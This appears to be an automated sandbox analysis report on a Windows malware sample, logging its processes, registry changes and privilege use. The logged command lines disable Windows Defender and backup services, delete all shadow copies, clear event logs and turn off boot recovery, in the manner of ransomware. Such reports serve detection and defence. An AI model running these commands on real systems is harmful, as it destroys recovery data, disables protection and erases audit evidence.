Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1260 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1260 wrote to memory of 1248 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1248 wrote to memory of 4700 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1248 wrote to memory of 4700 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1260 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1260 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 444 wrote to memory of 1276 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 444 wrote to memory of 1276 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1260 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1260 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 2716 wrote to memory of 4852 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2716 wrote to memory of 4852 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1260 wrote to memory of 5112 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1260 wrote to memory of 5112 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 5112 wrote to memory of 4904 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 5112 wrote to memory of 4904 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1260 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1260 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 2704 wrote to memory of 3380 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2704 wrote to memory of 3380 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1260 wrote to memory of 3528 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1260 wrote to memory of 3528 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 3528 wrote to memory of 628 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3528 wrote to memory of 628 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1260 wrote to memory of 4288 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1260 wrote to memory of 4288 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 4288 wrote to memory of 4556 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4288 wrote to memory of 4556 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1260 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 1260 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\net.exe
PID 3016 wrote to memory of 4056 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3016 wrote to memory of 4056 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1260 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 5060 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 3068 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 1328 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 1328 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 1832 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 440 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 440 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 4980 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 4980 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\sc.exe
PID 1260 wrote to memory of 3272 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 3272 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 4124 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 4124 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 4268 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 4268 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 504 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 504 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 4012 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 4012 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 1648 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 4328 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe
PID 1260 wrote to memory of 4328 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe

"C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe"

C:\Windows\System32\WaaSMedicAgent.exe

C:\Windows\System32\WaaSMedicAgent.exe 2b897f4176e0972ee77af72d0bec46f5 X18VADYF3EirDh9ErzgbEQ.0.1.0.0.0

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_16b91" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_16b91" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_16b91" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 settings-win.data.microsoft.com udp
NL 51.124.78.146:443 settings-win.data.microsoft.com tcp

Files

memory/2436-130-0x00000226F9390000-0x00000226F93A0000-memory.dmp

memory/2436-137-0x00000226FC010000-0x00000226FC014000-memory.dmp